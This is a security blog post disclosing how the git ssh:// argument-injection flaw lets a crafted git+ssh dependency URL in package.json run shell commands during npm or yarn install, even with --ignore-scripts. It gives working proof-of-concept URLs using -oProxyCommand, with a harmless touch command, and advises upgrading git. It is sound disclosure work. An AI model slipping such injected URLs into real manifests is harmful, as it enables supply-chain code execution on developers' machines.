Bypassing npm / yarn ignore Scripts with Command Injection

Before you read this post please run git --version and if it’s not 2.14.1 or greater then please go upgrade it.

In this post we are going to explore abusing the recently published git ssh:// url vulnerability inside of a package.json to execute commands during the npm install process.

How the vulnerability works:

The git vulnerability results from a malformed ssh:// url beginning with a dash (-), confusing the ssh command into thinking the hostname is a command argument rather than a hostname.

Take this proof of concept example. It injects the -V argument and exits.

git clone ssh://-V/github.com

Cloning into ‘github.com’…
OpenSSH_7.4p1, LibreSSL 2.5.0
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

But nobody cares about the git version for pwnage, that doesn’t get an attacker very far. This variation abuses the -oProxyCommand configuration option to execute a shell command before the clone happens.

git clone ssh://-oProxyCommand=touch%20somefile/github.com

Now I mentioned I was going to show how to execute commands during the npm install process. It’s already well known that npm install scripts (preinstall, install, and postinstall) already allow us to execute arbitrary shell scripts. For security purposes users can opt out of executing shell scripts from executing by adding in the –ignore-scripts flag.

So hopefully you can see where I’m going with this. Can we execute arbitrary commands during the npm i with the –ignore-scripts flag present? Yes we can, but it’s not as straight forward as the above example.

npm supports git+ssh:// urls. The first thing I did was to confirm that it did in fact utilize the underlying system git, as I wasn’t sure if npm ran its own pre-packaged git or a version written in node.js.

I did this by mocking up a simple module and putting in a broken git+ssh:// url hoping it would give me details during the error. It did.

Package.json

    {
     "name": "git",
     "version": "1.0.0",
     "description": "",
     "main": "index.js",
     "scripts": {
       "test": "echo \"Error: no test specified\" && exit 1"
     },
     "keywords": [],
     "author": "Adam Baldwin <baldwin@andyet.net>",
     "license": "ISC",
     "dependencies": {
     "hax": "git+ssh://"
     }
    }

Error Results

npm ERR! Error while executing:
npm ERR! /usr/bin/git ls-remote -h -t ssh://

From there it got a little frustrating. It’s not just a simple git clone that is executed during the npm install process so our url has to satisfy multiple commands.

The first thing I tried was the standard payload. Just touching a file to see if I could get it to run and get multiple arguments. For brevity I’ll just include the url and the error it gave.

"hax": "git+ssh://-oProxyCommand=touch%20blah/github.com"

npm ERR! Error while executing:
npm ERR! /usr/bin/git ls-remote -h -t ssh://-oproxycommand/=touch%20blah/github.com
npm ERR!
npm ERR! command-line line 0: Missing argument.

This is where the @ comes in to give us our missing argument.

"hax": "git+ssh://-oProxyCommand=touch%20blah@github.com"

npm ERR! Error while executing:
npm ERR! /usr/bin/git ls-remote -h -t ssh://-oProxyCommand%3Dtouch%20blah%20@github.com
npm ERR!
npm ERR! fatal: No path specified. See ‘man git-pull’ for valid url syntax

But it’s still not happy. It wants a path. ¯\(ツ)

npm ERR! Error while executing:
npm ERR! /usr/bin/git ls-remote -h -t ssh://-oProxyCommand%3Dtouch%20blah%20@github.com
npm ERR!
npm ERR! fatal: No path specified. See ‘man git-pull’ for valid url syntax

Here is the final working proof of concept. This executes touch blah @github when npm i –ignore-scripts is run.

{
 "name": "git",
 "version": "1.0.0",
 "description": "",
 "main": "index.js",
 "scripts": {
   "test": "echo \"Error: no test specified\" && exit 1"
 },
 "keywords": [],
 "author": "Adam Baldwin <baldwin@andyet.net>",
 "license": "ISC",
 "dependencies": {
 "hax": "git+ssh://-oProxyCommand=touch%20blah%20@github.com/"
 }
}

Yarn!

This isn’t an npm problem. This also works in yarn, but the proof of concept looks a little different.

"dependencies": {
    "hax": "git+ssh://-oProxyCommand=touch%20mega_secure/"
  }

Monitoring for abuse

… and just to be sure, I did check all the git+ssh:// dependencies referenced in the npm registry and didn’t find any malicious urls. We’re also continuing to monitor in real time for these urls being published to the registry.

Originally posted on Medium

Tags :